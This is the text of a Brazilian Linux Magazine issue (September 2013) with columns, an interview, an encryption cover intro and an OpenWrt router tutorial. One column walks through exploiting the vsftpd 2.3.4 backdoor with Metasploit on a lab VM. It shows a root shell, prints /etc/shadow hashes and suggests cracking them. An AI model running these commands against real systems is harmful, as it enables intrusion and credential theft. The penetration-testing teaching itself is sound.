Você está na página 1de 29

AUGUSTO CAMPOS P.

10
O curioso caso
do Truecrypt

MADDOG P.23
Concurso para melhoria
do desempenho do kernel

CEZAR TAURION P.26


Cientista de Dados: o
profissional de Big Data

MEDIALINX

# 106 Setembro 2013

A REVISTA DO PROFISSIONAL DE TI

Segurana
EM TEMPOS ONDE OS SEGREDOS QUE VOC CONFIA AO
SEU EMAIL E AOS SEUS SISTEMAS LOCAIS NO SO TO
SECRETOS ASSIM, TODO CUIDADO POUCO P.32

ENTREVISTA p.23
Entrevistamos Richard Collins, gerente
de produtos da Canonical, que contou
as novidades do Ubuntu para Android

Bate-papo seguro e criptografado P.34


Novos padres de segurana para SSL/TLS P.37
ZFS criptografado com Ubuntu P.42
Certificados pessoais auto-assinados P.47
MFT: Nova opo para transporte seguro de arquivos P.51

VEJA TAMBM NESTA EDIO:


Monitoramento de sistemas com a ferramenta iftop P.54
Gerenciamento de configurao com Puppet P.57
Transforme um simples roteador em um servidor com OpenWrt P.60
Use o processador para assumir a tarefa dos clculos 3D P.72

UBUNTU TOUCH P.67

Desenvolva aplicativos e
transforme seu dispositivo mvel

ANDROID P.69

Melhore a qualidade
de som do seu Android

SEGURANA P.76

Container chroot para


execuo de programas perigosos
00106
9 771806 942009

WWW.LINUXMAGAZINE.COM.BR

#10609/13
R$ 14,90
7,50

Expediente editorial
Diretor Geral
Rafael Peregrino da Silva
rperegrino@linuxmagazine.com.br
Editores
Flvia Jobstraibizer
fjobs@linuxmagazine.com.br
Laura Loenert Lopes
llopes@linuxmagazine.com.br
Editor de Arte
Hunter Lucas Fonseca
hfonseca@linuxnewmedia.com.br
Colaboradores
Alessandro de Oliveira Faria, Antonio Pdua,
Bernhard Bablok, Kristian Kissling, Hanno Bck,
Paul C. Brown, Dan Frost, Charly Khnast, Frank
Hofmann, Robert Korherr, Heike Jurzik, Lars
Kotthoff, Kurt Seifried, Zack Brown, Jon maddog
Hall, Alexandre Borges, Cezar Taurion, Gilberto
Magalhes, Klaus Knopper, Augusto Campos.
Traduo
Laura Loenert Lopes
Reviso
Flvia Jobstraibizer
Editores internacionais
Uli Bantle, Andreas Bohle, Jens-Christoph Brendel,
Hans-Georg Eer, Markus Feilner, Oliver Frommel,
Marcel Hilzinger, Mathias Huber, Anika Kehrer,
Kristian Kiling, Jan Kleinert, Daniel Kottmair,
Thomas Leichtenstern, Jrg Luther, Nils Magnus.
Anncios:
Rafael Peregrino da Silva (Brasil)
anuncios@linuxmagazine.com.br
Tel.: +55 (0)11 3675-2600

Penny Wilby (Reino Unido e Irlanda)


pwilby@linux-magazine.com

Amy Phalen (Amrica do Norte)


aphalen@linuxpromagazine.com

Hubert Wiest (Outros pases)


hwiest@linuxnewmedia.de

Diretor de operaes
Claudio Bazzoli
cbazzoli@linuxmagazine.com.br
Na Internet:
www.linuxmagazine.com.br Brasil
www.linux-magazin.de Alemanha
www.linux-magazine.com Portal Mundial
www.linuxmagazine.com.au Austrlia
www.linux-magazine.es Espanha
www.linux-magazine.pl Polnia
www.linux-magazine.co.uk Reino Unido
www.linuxpromagazine.com Amrica do Norte
Apesar de todos os cuidados possveis terem sido tomados
durante a produo desta revista, a editora no responsvel por eventuais imprecises nela contidas ou por consequncias que advenham de seu uso. A utilizao de qualquer
material da revista ocorre por conta e risco do leitor.
Nenhum material pode ser reproduzido em qualquer meio,
em parte ou no todo, sem permisso expressa da editora.
Assume-se que qualquer correspondncia recebida, tal
como cartas, emails, faxes, fotografias, artigos e desenhos,
sejam fornecidos para publicao ou licenciamento a
terceiros de forma mundial no-exclusiva pela Linux New
Media do Brasil, a menos que explicitamente indicado.
Linux uma marca registrada de Linus Torvalds.
Linux Magazine publicada mensalmente por:
Linux New Media do Brasil Editora Ltda.
Rua So Bento, 500
Conj. 802 S
01010-001 So Paulo SP Brasil
Tel.: +55 (0)11 3675-2600
Direitos Autorais e Marcas Registradas 2004 - 2013:
Linux New Media do Brasil Editora Ltda.
Impresso e Acabamento: EGB
Atendimento Assinante
www.linuxnewmedia.com.br/atendimento
So Paulo: +55 (0)11 3675-2600
Rio de Janeiro: +55 (0)21 3512 0888
Belo Horizonte: +55 (0)31 3516 1280
ISSN 1806-9428

Impresso no Brasil

Linux Magazine #106 | Setembro de 2013

Editorial

Final de campeonato

Durante a LinuxCon Europe, evento da Linux Foundation que ocorreu em


Edimburgo, Esccia, nos dias 24 e 25 de outubro, Linus Torvalds emitiu uma
daquelas suas declaraes que tem potencial para se espalhar como fogo
em mato seco: O SteamOS pode realmente ajudar o Linux no desktop. O
SteamOS um sistema operacional gratuito baseado em Linux construdo ao
redor do Steam, o mais popular servio de distribuio de jogos do mundo.
O sistema operacional foi criado pela Valve Corporation, empresa americana de desenvolvimento e distribuio de videogames fundada em 1996 por
dois ex-funcionrios da Microsoft, para uso nas chamadas Steam Boxes, PCs
projetados para o uso na sala de estar.
O fato de a Valve estar apostando no Linux como base para levar seus
jogos a gamers no mundo inteiro com certeza uma boa notcia: pouco
depois de o SteamOS ter sido anunciado, tanto a AMD quanto a Nvidia
anunciaram melhor suporte a seus drivers para Linux. Alm disso, a API
multiplataforma para acesso direto ao hardware da placa de vdeo de codinome Mantle, recm anunciada pela AMD, uma concorrente direta ao DirectX e OpenGL, vai permitir a todas as distribuies Linux aproveitar ao
mximo os recursos de adaptadores grficos compatveis com esse padro.
Torvalds acredita que a iniciativa da Valve pode ajudar na padronizao dos
ambientes de trabalho usados em estaes Linux, atualmente uma casa
dividida, com vrios projetos indo em diferentes direes (KDE, Gnome,
Gnome Classic, Unity, LXDE, Xfce, Mate etc.). Na opinio dele, o SteamOS
poderia servir como referncia para todos os outros ambientes desktop, j
que todos eles querem que seus usurios sejam capazes de jogar os games
distribudos via Steam em suas plataformas.
O raciocnio do criador do kernel Linux muito razovel, especialmente se levarmos em conta a rea de trabalho de estaes Linux tradicionais, mas que deve
paulatinamente ceder espao para ambientes mais modernos basicamente
tablets, via de regra equipados com Android (ele prprio um sistema operacional baseado no kernel Linux), que podem ser ligados a monitores ou televisores, usando teclados ou controladores de jogo (com ou sem fio). Esses sistemas
tambm podem acabar tirando proveito das melhorias realizadas nos drivers das
placas de vdeo, ganhando mais desempenho, estabilidade e baixo consumo.
Em resumo, o desktop Linux do futuro j chegou: est na grande maioria dos
tablets em nossas mos. A prxima fase dever ampliar o uso da plataforma
do pinguim no desktop legado, especialmente aqueles voltados para gamers.
Isso tambm dever facilitar a vida dos usurios corporativos de desktops e
notebooks, alm de garantir uma vida til maior da bateria de todo tipo de
equipamento porttil (notebooks, tablets, smartphones, consoles de jogos
portteis, dispositivos GPS e qualquer outro tipo de gadget). Nos encaminhamos assim para o final desse campeonato. Um pinguim com uma medalha de
ouro no peito no est to longe, qualquer que seja a modalidade do jogo. E
em tempos de Edward Snowden, essa vitria final muito bem-vinda.
Rafael Peregrino da Silva
Diretor de Redao
3

INDICE
CAPA

Segredos bem guardados

32

Em tempos onde os segredos que voc confia ao seu email e aos


seus sitemas locais no so to secretos assim, todo cuidado pouco.
Bate-papo seguro

34

Jitsi um programa de bate-papo verstil.


O programa Java pode lidar com todos os protocolos populares
de mensagens instantneas e at mesmo telefonia de vdeo por IP.

Novos padres

37

Numerosos ataques abalaram a segurana da criptografia SSL/


TLS nos ltimos anos. Novos padres poderiam remediar a
situao, mas ainda no so amplamente utilizados.

ZFS criptografado com Ubuntu 


Neste artigo, mostraremos como usar a
criptografia de disco do Linux para instalar o
Ubuntu em um disco criptografado com ZFS.

42

Do lado seguro 

47

Klaus Knopper ensina uma forma simples de usar certificados


pessoais auto-assinados e criptografia digital.

Transporte seguro 

51

Apesar do FTP ainda fazer um bom servio, se o usurio precisa enviar dados
sensveis, deve considerar a opo pela transferncia de arquivos gerenciados.

www.linuxmagazine.com.br

Linux Magazine xxx |NDICE

COLUNAS CORPORATE
07

Coluna: Jon maddog Hall 23

Alexandre Borges08

Coluna Antonio Pdua 24

Augusto Campos 10

Coluna: Cezar Taurion 26

Charly Khnast

Kurt Seifried

11

Klaus Knopper

14

Zack Brown

17

Notcias 22

Entrevista: Richard Collins 28


Notcias 30
Raspberry Pi pode ser fabricado no Brasil
Empresas aumentam uso Linux para reduzir custos

Corretagem na nuvem tendncia


para 2014

ANALISE

Google lana Coder, projeto de cdigo


livre para Raspberry Pi

REDES

Tubo grfico

72

A ideia simples: se o driver da placa grfica no oferece grficos 3D,

Trfego assistido

54

O iftop uma ferramenta de linha de comando para monitoramento


de sistema que pode ajudar a identificar os problemas de largura
de banda (bandwidth hogs) e manter o movimento de trfego.

uma ajuda especial delegaria todos os clculos 3D ao processador


principal. Neste artigo, explicamos como fazer esse trabalho..

TUTORIAL
Manuteno automatizada

SEGURANA

57

Se o usurio deseja que apenas suas tardes pertenam


ao trabalho, no precisa depender de gerenciamento
de configurao. Mas necessrio perder a hora extra
apenas para configurar um sistema de servidor?

Priso privada

76

Virtualizar bom, mas s vezes pode ser um exagero,


se tudo o que o usurio quiser fazer for executar um

Servidor de1 watt

programa que poderia representar uma ameaa ao sistema.

60

O chroot jails oferece uma alternativa leve, rpida e bem testada.

Aprenda como instalar e configurar este novo


sistema operacional em seu dispositivo Android.
Desenvolvimento para Ubuntu Touch

67

Aprenda a desenvolver aplicativos para o Ubuntu Touch e


torne seu dispositivo mvel em um computador Linux de bolso!

ANDROID

Aperte o play!

Os melhores aplicativos de msica e truques para


melhorar a qualidade de som do seu Android.

69

SERVIOS
Editorial03
Emails06
Linux.local78
Preview

Linux Magazine #106 | Setembro de 2013

82

Coluna do Alexandre

Metasploit parte 6
Na coluna deste ms, aprenda como a efetivar um ataque bem sucedido
com Metasploit atravs de uma vulnerabilidade j conhecida.
por Alexandre Borges

este ms, sem muita demora, vamos utilizar


o Metasploit de forma mais incisiva. Em nosso ambiente, podemos utilizar o ambiente
de desenvolvimento j instalado no Ubuntu (para
o qual foi mostrado o procedimento de instalao
na coluna anterior) ou ainda o Kali Linux [1], uma
mquina prpria para este tipo de teste (com Metasploitable 2 [2]) com endereo IP 192.168.1.105 e
um Windows XP SP2 com endereo IP 192.168.1.106.
Realizando o escananeamento destas mquinas
com Nessus ou OpenVAS, obtemos um nmero
significativo de vulnerabilidades e, quem sabe, boa
parte delas explorveis. Por exemplo, escaneando
a mquina Metasploitable2, descobre-se uma vulnerabilidade crtica chamada vsftpd Smiley Face
Backdoor [3] e com esta informao poderemos
realizar uma explorao de modo bastante direto. Digite msfconsole para obter acesso ao console
do Metasploit e procure por um exploit para esta
vulnerabilidade em especfico:
msf> search 73573
Matching Modules
================
Name
Disclosure Date
Rank
Description

-exploit/unix/ftp/vsftpd_234_backdoor 2011-0703 00:00:00 UTC excellent VSFTPD


v2.3.4 Backdoor
Command Execution

Para saber mais sobre este exploit, proceda da seguinte forma:


msf exploit(vsftpd_234_
backdoor) > info exploit/
unix/ftp/
vsftpd_234_backdoor

Selecione este exploit para uso e verificamos suas opes:


msf> use exploit/unix/ftp/vsftpd_234_backdoor msf
exploit(vsftpd_234_backdoor) > show options
Module options (exploit/unix ftp/vsftpd_234_
backdoor): Name Current
Setting Required Description
- -- -RHOST
yes
The target address
RPORT 21
yes
The target port
Exploit target:
Id Name
-- 0 Automatic

Como o leitor pode notar, a mquina remota (a


ser explorada) no est especificada com seu endereo IP e, alm disso, o nico tipo de alvo disponvel Automatic o que facilita a nossa vida, ou
seja, o Metasploit determina automaticamente o
tipo do sistema operacional:
msf exploit(vsftpd_234_backdoor) > set RHOST
192.168.1.105
RHOST => 192.168.1.105
msf exploit(vsftpd_234_backdoor) > set TARGET 0
TARGET => 0

necessrio escolher o payload (cdigo, backdoor,


trojan etc.) a ser enviado para a mquina alvo uma
vez ela tenha sido explorada. Este passo essencial
j que o payload nos permite, muitas vezes, acesso
remoto mquina explorada (por exemplo, se estivssemos executando um comando Netcat sendo
executado em modo de escuta). Portanto devemos
executar o comando:
msf exploit(vsftpd_234_backdoor) > show payloads
Compatible Payloads
===================
Name
Disclosure
Date
Rank
Description
-cmd/unix/interact
normal
Unix Command, Interact with Established Connection

para obter mais informaes sobre o payload, selecion-lo para ser enviado para a mquina sob ataque
e ainda verificar quais so suas opes disponveis
(neste caso, no haver nenhuma opo):

www.linuxmagazine.com.br

msf exploit(vsftpd_234_backdoor) > info cmd/unix/interact


msf exploit(vsftpd_234_backdoor) > set payload cmd/
unix/interact payload => cmd/unix/interact
msf exploit(vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
- -- -RHOST 192.168.1.105
yes
The target address
RPORT 21
yes
The target port
Payload options (cmd/unix/interact):
Name Current Setting Required Description
- -- -Exploit target:
Id Name
-- 0 Automatic

FInalmente, somente nos resta realizar o ataque


propriamente dito:
msf exploit(vsftpd_234_backdoor) > exploit

[*] Banner: 220 (vsFTPd 2.3.4)


[*] USER: 331 Please specify the password.
[+] Backdoor service has been spawned, handling...
[+] UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 3 opened
(192.168.1.107:55485 -> 192.168.1.105:6200) at
2013-09-15 18:56:55 -0300
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr
10 13:58:00 UTC 2008 i686 GNU/Linux
id
uid=0(root) gid=0(root)
cat /etc/shadow
root:$1$/avpfBJ1$x0z8w5UF9Iv./
DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD
9l0:14742:0:99999:7:::

Mais informaes
[1] Kali Linux: http://www.kali.org/
[2] Metasploitable 2: http://sourceforge.net/projects/metasploitable/files/Metasploitable2/
[3] Vulnerabilidade vsftpd Smiley Face Backdoor: http://osvdb.org/73573
[4] Como quebrar senhas: http://alexandreborges.
org/2013/08/05/introduction-to-password-cracking-part-1/

Linux Magazine #XX | Ms de 200X

Nunca foi to fcil! Quer quebrar


a senha? Use o John the Ripper [4].
At o ms que vem. n
Alexandre Borges (linkedin: br.linkedin.com/in/aleborges) instrutor e especialista snior em sistemas operacionais Unix, Linux, Banco de Dados, Virtualizao,
Cluster, Storage, Servidores, Backup, Desempenho e Segurana, alm de possuir profundo envolvimento com
assuntos relacionados ao kernel Linux.

Coluna do Augusto

O curioso caso do Truecrypt


Uma til e excelente ferramenta de criptografia de disco, continua
enfrentando problemas em seu licenciamento.
por Augusto Campos

Truecrypt um utilitrio de criptografia de


disco popular na plataforma Windows, e disponvel tambm para Linux e Mac OS X. Ele
cria um disco criptografado em uma partio, um
disco inteiro (incluindo dispositivos removveis) ou
mesmo em uma unidade virtual mapeada a partir de
um arquivo comum.
Ele se diferencia de outras solues por oferecer mecanismos que permitem buscar e manter
escondida a prpria existncia de um volume
criptografado e por oferecer diversas tcnicas de
acelerao para permitir gravar e acessar os dados
com velocidades que se aproximam do uso dos
mesmos dispositivos sem criptografia (dependendo da aplicao, claro). Alem disso, ele consegue
criptografar at mesmo o disco onde est instalado
o sistema operacional na plataforma Windows,
onde isso no to comum.
O cdigo-fonte do Truecrypt est disponvel,
mas os seus termos de licenciamento so um dos
aspectos que o tornam um caso curioso: por mais
que oferea as condies fundamentais de permiso de
uso, estudo, modificao e
redistribuio, a licena do
TrueCrypt inclui algumas
restries sui generis (por
exemplo, probe o uso e redistribuio do software a
quem no compreender a
ntegra da licena) que at
hoje a impedem de ser
considerada free software ou open source
(a ltima avaliao a
respeito foi em outubro de 2013), e
faz com que vrias

10

distribuies Linux no incluam o Truecrypt em


seus pacotes oficiais.
Outra questo que aumenta o status de curiosidade que o executvel distribudo pelos autores
para uso em Windows tem algumas diferenas visveis nas estruturas de dados, em relao a outras
plataformas, o que j despertou suspeitas de que
ele armazene e vaze chaves de seus usurios.
Essas suspeitas se ampliam porque at recentemente
ningum conseguia gerar um executvel igual ao oficial, partindo do cdigo-fonte oficial, o que ampliava
as teorias de que havia uma backdoor no executvel
para Windows. No final de outubro, entretanto, um
usurio empreendedor publicou seu passo-a-passo
para chegar a um executvel igual ao original, partindo
dos fontes oficiais. A receita complexa, e envolve at
mesmo usar uma verso de 1994 do compilador C++
mencionado na documentao, mas aparentemente ningum acreditava que ela estivesse atualizada.
E para completar o status de curiosidade do
TrueCrypt: ningum sabe quem so seus autores.
Eles assinam o cdigo apenas coletivamente, com
nomes que variam: hoje TrueCrypt Foundation,
mas j foi TrueCrypt Developers Association, e outros nomes menos cotados. Para atividades que exigem registro, eles variam estados e pases, desde
Nevada, nos EUA, at a Repblica Tcheca.
E se voc pensa que o importante o cdigo
estar disponvel, pense de novo: difcil auditar
cdigo de criptografia, e exemplos de incluso de
backdoors no cdigo-fonte, mantendo-as difceis
de detectar, no faltam. No creio ser o caso, mas
tambm no descarto a possibilidade, a princpio.
Por enquanto, no mnimo, trato o TrueCrypt como...
um caso curioso. n
Augusto Csar Campos administrador de TI e, desde 1996, mantm o site BR-linux.org,
que cobre a cena do Software Livre no Brasil e no mundo.

www.linuxmagazine.com.br

Entrevista

Do desktop para
o smartphone
Richard Collins, gerente de produtos da Canonical,
oferece uma prvia do Ubuntu para Android.
por Kristian Kissling
Linux Magazine Qual o projeto

do momento para Ubuntu?


Richard Collins Sou responsvel
pelo Ubuntu para Android. Tambm
tenho trabalhado nos projetos do tablet Ubuntu e Ubuntu Phone.
LM J existe um Android:
livre, baseado em Linux e j est
estabelecido no mercado de
smartphones. Porque deveramos
escolher o Ubuntu?
RC O Ubuntu para Android uma
soluo que trabalha em conjunto com
o Android. O Android um sistema
operacional muito bem sucedido, que
proporciona uma excelente experincia
de telefonia mvel; no entanto, o Android s verdadeiramente relevante
como um sistema operacional para
smartphone. Os servios e experincias que funcionam bem no Android
s so projetados e otimizados para
um contexto mvel. Para smartphones
mais recentes que possuem a capacidade de oferecer uma experincia de
desktop, com aplicativos e uma interface de usurio quando conectados a
um monitor atravs de uma conexo
HDMI, acreditamos que os usurios
desejem a capacidade total de um
sistema que projetado para desktop
e queiram utilizar os servios que funcionam exatamente da mesma maneira como usariam em seus laptops. O

28

Ubuntu um sistema operacional de


desktop bem estabelecido, compreendido e usado; por isso, o Android no
pode entregar uma experincia de
desktop do mesmo nvel que o Ubuntu.
LM Voc planeja instalar o Ubuntu em smartphones dual core como
desktops adicionais. E quanto segurana? Como voc pretende proteger
dados privados, por exemplo, em caso
de perda ou roubo do smartphone?
RC O sistema de segurana inerente ao Ubuntu no afetado. O sistema operacional do Ubuntu funciona
de forma completamente nativa no
hardware e no h acesso ao sistema
Ubuntu a partir de qualquer servio
mvel Android. A soluo Ubuntu para
Android permitir aos usurios fazer
backup e salvar dados pessoais no
servio de nuvem Ubuntu One, e esta
uma maneira de manter os dados
pessoais separados do dispositivo, da
mesma maneira que qualquer outro
tipo de dispositivo que poderia estar
em risco de ser perdido ou roubado,
como um laptop.
Qualquer servio especfico de proteo de telefone melhor gerenciado a partir do sistema Android por
exemplo, bloquear e excluir dados

remotamente e desativar o telefone


dessa maneira tambm ir proteger
o usurio de ter seus dados pessoais
ou sensveis comprometidos.
Do ponto de vista da empresa, se
o dispositivo est sendo usado para
conexo remota, h muitas solues
de segurana que a implementam
na camada do aplicativo, e uma vez
que j provaram funcionar muito
bem para o Ubuntu em laptops,
devem funcionar tambm para o
Ubuntu em smartphones.
LM O pessoal da Engadget
testou o Ubuntu para Android, e
achou o sistema bastante lento.
Qual hardware voc espera ser
executado no Ubuntu?
RC A entrevista com a Engadget foi baseada em um prottipo
utilizando o Motorola Atrix 2. A Canonical desenvolveu este prottipo
de forma independente, por isso o
desempenho ficou limitado s capacidades inerentes ao hardware.
Existe uma srie de possibilidades
para melhorar o desempenho do
produto e desde ento temos otimizado o sistema para executa-lo
de forma mais eficiente. Mas o mais
importante, ao desenvolvermos a
soluo Ubuntu para Android em
conjunto com um fabricante de
hardware, que o fabricante ter

www.linuxmagazine.com.br

a oportunidade de propor novas


otimizaes e desempenho.
LM Voc j encontrou parceiros oficiais de hardware para cooperarem com o projeto? Quando
ser possvel adquirir o dispositivo?
RC As discusses ainda esto
em andamento e esperamos anunciar a disponibilidade do produto
dentro em breve.
LM H mais fornecedores planejando comercializar dispositivos
que possam lidar com o dual boot
Android e Ubuntu?
RC Para ser mais preciso, a soluo Ubuntu baseada no uso do
kernel Linux para executar dois sistemas operacionais ao mesmo tempo.
Existem determinados requisitos de
hardware necessrios para suportar
o Ubuntu para Android, como CPU
multicore, e vemos que todos os
principais fabricantes de celulares
que baseiam seus sistemas em arquiteturas ARM esto em processo

de anunciar aparelhos de ponta com


capacidades de CPU multicore.
LM Ser que este projeto tambm
visa colocar o Ubuntu em smartphones Android habituais, ou o foco est
apenas nos dispositivos dual boot?
RC A estratgia est focada em
permitir que smartphones de ponta
possam executar o Android.
LM O cdigo estar disponvel
para os usurios utilizarem em
seus dispositivos?
RC No temos planos imediatos de liberar o cdigo para que os
usurios o instalem em seus prprios
aparelhos, pois isso requer um conhecimento tcnico muito especfico, e a gama de aparelhos capazes
de suportar Ubuntu para Android
ainda muito pequena. Tornar o
cdigo disponvel para download
de forma independente no serviria
a qualquer propsito real, uma vez
que extremamente difcil executar
a verso atual do software em um

dispositivo sem o suporte adequado


do fabricante do hardware.
LM Quantos membros da comunidade Ubuntu esto envolvidos
no projeto atualmente?
RC Dado que o projeto est em fase
de desenvolvimento, ainda um projeto interno da Canonical nesta fase. Isto
porque o tipo de trabalho est focado
em atender diretamente aos fabricantes de celulares; no entanto, medida
que conseguirmos mais sucesso com
o produto e ele seja implementado de
forma mais ampla, como um produto
de consumo, surgiro oportunidades
de trabalhar em estreita colaborao
com a comunidade. n

Gostou do artigo?
Queremos ouvir sua opinio.
Fale conosco em:
cartas@linuxmagazine.com.br
Este artigo no nosso site:
http://lnm.com.br/article/8938

2
!
e
1
I
P
L
o

a
Livros
c
i
f
i
para Cert
A Linux Magazine oferece estas edies revisadas
e ampliadas dos livros que te preparam para
as Certificaes LPIC-1 e 2, com as seguintes
novidades:
Exerccios em todos os tpicos
Todo contedo ampliado para a nova verso
da prova, atualizada em agosto/2012.

Garanta j os seus pelo site da Linux Magazine


www.linuxmagazine.com.br

Linux Magazine #XX | Ms de 200X

29

Capa

Segredos bem guardados


Em tempos onde os segredos que voc confia ao seu email
e aos seus sistemas locais no so to secretos assim, todo cuidado pouco.
por Flvia Jobstraibizer

egredos j so coisas difceis


de se confiar a algum (vide
a frase do filme ConAir: Eu
s confio em dois homens neste
mundo, um sou eu e o outro no
voc.), imagine ento se os confiamos sistemas e somos pegos
totalmente desprevenidos ao saber
que nossas conversas, arquivos e
dados foram surrupiados (ou lidos
sem permisso) por sabe-se l quem
em qualquer parte do mundo.
Pois o que frequentemente
vem sendo trazido tona pela
nova gerao Snowden: profissionais que detinham em seu poder informaes confidenciais das
mais diversas e que decidiram em
algum momento traz-las tona.
Entre os membros dessa gerao
podemos citar WikiLeaks, o grupo
Anonymous e outros ciberativistas.
sabido que temos de manter certo nvel de proteo aos dados que
armazenamos em nossos bancos de
dados, sistemas e servidores e que,
mesmo assim, esses dados podem

32

ser coletados em algum momento


(lidos atravs de sniffers, copiados
por invasores ou sob outras formas).
Mas talvez, tornar esses dados ilegveis ou ento muito difceis de
serem decifrados seja um caminho
para evitar o roubo de informaes.
Nesta edio da Linux Magazine
vamos falar sobre criptografia, esse velho assunto j conhecido atualmente
at mesmo por leigos em informtica
por figurar na lista dos dez principais
assuntos da atualidade (talvez depois
do lanamento do game GTA V.
Voc vai aprender nas prximas
pginas como criar um sistema de
arquivos ZFS criptografado, evitando assim que eventuais informaes
roubadas sejam lidas facilmente
pelo invasor (e consequentemente
distribudas). Tambm vai aprender
como gravar conversas telefnicas
atravs dos protocolos Jabber
e SIP com o aplicativo Jitsi e como
enviar arquivos de grande porte
com uma camada adicional de criptografia deixando de lado o velho

FTP e adotando o novo protocolo


MFT (Managed File Transfer).
Ainda nesta edio, no perca o
artigo que ir ensinar a criar e utilizar
assinaturas digitais e criptografia com
SSL e para finalizar, saiba como resolver problemas com a encriptao de
dados do protocolo TLS (antigo SSL).
As prximas pginas podem auxili-lo a evitar diversos problemas
se voc algum que possui (ou trabalha em uma empresa que possui)
informaes sigilosas armazenadas
e no quer v-las sendo exibidas por
a por algum popular ciberativista da
atualidade.
Boa leitura! n


Matrias de capa
Bate-papo seguro

34

Novos padres 41
ZFS criptografado com Ubuntu 34
Do lado seguro

Transporte seguro

47
51

www.linuxmagazine.com.br

Tutorial

Servidor de
1 watt

Neste artigo, mostraremos como usar o OpenWrt para


liberar o roteador TL-MR3020 do firmware proprietrio
e convert-lo em um servidor conjunto para uma
rede domstica.
por Bernhard Bablok

TP-Link [1] fabrica roteadores em vrias classes de


desempenho. O TL-MR3020
(figura 1) comercializado pelo
fabricante como um roteador
mvel, porque pequeno e leve.
No entanto, ele no suporta 3G
(quadro 1), embora seja possvel
atualiz-lo atravs da porta USB.
Assim, o roteador destinado a
pessoas que no precisam de 3G
ou possuem um dispositivo de
conexo UMTS e, portanto, no
desejam investir em um roteador
mvel UMTS caro. No entanto, o
uso normal do roteador no o
foco deste artigo; em vez disso,
descreveremos como convertlo em um mini servidor.
Para fazer isso, substituiremos o
firmware existente pelo OpenWrt
[2], uma distribuio Linux especial
para microdispositivos. O OpenWrt
contempla um sistema de gerenciamento de pacotes que no de
forma alguma inferior ao das distribuies clssicas; assim, apenas
as limitaes do hardware podero
conter a criatividade do usurio.

o sistema) do aparelho. Por


outro lado, o fabricante no
impe obstculos na instalao de firmware de terceiros.
Para comear, baixe a verso
correta do OpenWrt [3] e siga
as breves (porm suficientes)
instrues que vm com o roteador
para conectar-se interface web do
dispositivo. Quando chegar l, faa
o upload do novo firmware para o
TL-MR3020, selecionando Upgrade
no formulrio web (figura 2).
Fazer o upload do firmware o nico passo realmente crtico de todo o
processo. Assim, antes de carregar a
imagem, essencial verificar as postagens na wiki do OpenWrt [3] e se-

guir as instrues
adequadas. Depois de instal-lo,
o prximo passo
a configurao
bsica, particularmente para a rede.
Em seguida ser necessrio configurar uma srie de pacotes
de software que atualizam o suporte
USB para meios de dados (do tipo
pendrives ou discos rgidos).
Esta etapa permite fazer o boot
do roteador a partir de um disco externo. No sistema de arquivos raiz,
agora estendido, o usurio adiciona
mais pacotes de software do repositrio OpenWrt para o aplicativo real.

O equipamento

O TL-MR3020 bastante adequado para este fim, por duas razes:


por um lado, custa 30 euros (ou 40
dlares americanos) o que no
muito, se acontecer do usurio bricar (danificar permanentemente

60

Figura 1 O TL-MR3020 da TP-Link ( esquerda) no maior do que


a palma da mo do usurio. O mini hub USB de Pearl (direita) atua
como um expansor.

www.linuxmagazine.com.br

Listagem 1:
/etc/config/network
01 # /etc/config/network

02
03 config interface 'loopback'
04 option ifname 'lo'
05 option proto 'static'
06 option ipaddr '127.0.0.1'
07 option netmask '255.0.0.0'
08
09 config interface 'wifi'
10 option proto 'static'
11 option ipaddr

'192.168.3.100'
12 option netmask

'255.255.255.0'
13 option gateway '192.168.3.1'
14 list dns '192.168.3.1'
15 list dns '8.8.8.8'

Figura 2 O OpenWrt carregado como uma atualizao de firmware


atravs da interface web original no TL-MR3020.

Primeiro contato

Aps a atualizao do firmware e


reboot do dispositivo, podemos conectar o PC ou laptop ao roteador

com o uso de um cabo. Configure a


rede (normalmente podemos usar
o gerenciador de rede para isso) e
faa o login via Telnet em 192.168.1.1

Figura 3 Feito: O primeiro login no OpenWrt.

Linux Magazine #106 | Setembro de 2013

(figura 3). O roteador executa um servidor DHCP que fornece um endereo adequado para o PC ou laptop.
Neste ponto, devemos definir
uma senha para o root. O OpenWrt,
ento, desliga o servidor Telnet
por razes de segurana e inicia o
servidor SSH. Em seguida, ajuste a
configurao de rede para que o
roteador esteja na rede domstica;
siga em frente e adicione mais software. Para mais informaes sobre o
sistema de configurao OpenWrt,
veja o quadro 2.
Para usar o roteador como um
servidor na rede domstica, a configurao de rede deve se parecer
com a listagem 1 (/etc/config/network)
e listagem 2 (/etc/config/wireless). As
linhas 9-15 na listagem 1 configuram
a interface WLAN. Na listagem 2, a
linha 19 garante que o servidor esteja
integrado rede como um cliente
de WLAN e no como um ponto de
acesso ou roteador.
Aps o reboot, o dispositivo deve
ser encontrado no endereo de rede
configurado. Se no, o modo de
emergncia pode ajudar: durante o
processo de boot, pressione o boto
WPS to logo comece a piscar. Se o
LED piscar rapidamente, ligue-o novamente. Agora o dispositivo estar

61

Figura 4 Usando a interface web no OpenWrt para recuperar o estado do sistema.

no modo Failsafe com o endereo


padro 192.168.1.1 e executando o
daemon Telnet. Podemos nos conectar ao Telnet e fazer as correes
necessrias. No entanto, nenhum
servidor DHCP est disponvel no
roteador neste modo. Devemos
atribuir um endereo IP ao prprio
computador manualmente.

Mais software

A imagem do firmware original no


contm todos os componentes necessrios para o funcionamento
do sistema de arquivos raiz em um

pendrive USB, assim, teremos que


adicion-los agora. Aps concluir com
sucesso a configurao de rede, o
mini roteador pode acessar a Internet
e usar o sistema de gerenciamento
de pacotes conveniente para instalar
software adicional retroativamente.
O ponto crucial o comando opkg,
que precisamos executar como root.
Para fazer isso, primeiro chame opkg
update para atualizar a lista de pacotes.
Em seguida, instale os pacotes especificados usando o seguinte comando:
# opkg install <pacote>

Quadro 1: Hardware
O TL-MR3020 uma pequena caixa de plstico branca (figura 1) medindo 7,4 x 6,7
x 2,2 centmetros e pesando apenas 60 gramas. Um conector USB mini usado
para a fonte de alimentao e o adaptador AC oferecido fornece 1 watt. Alm
disso, o roteador tambm funciona sem problemas em uma porta USB. Alm disso, o TL-MR3020 inclui uma porta USB 2.0 e uma porta Ethernet RJ45 (100Mbps).
A TP-Link fornece um curto cabo de extenso para esta ltima. No lado sem fio,
o pequeno roteador suporta IEEE 802.11b/g/n em at 150Mbps.
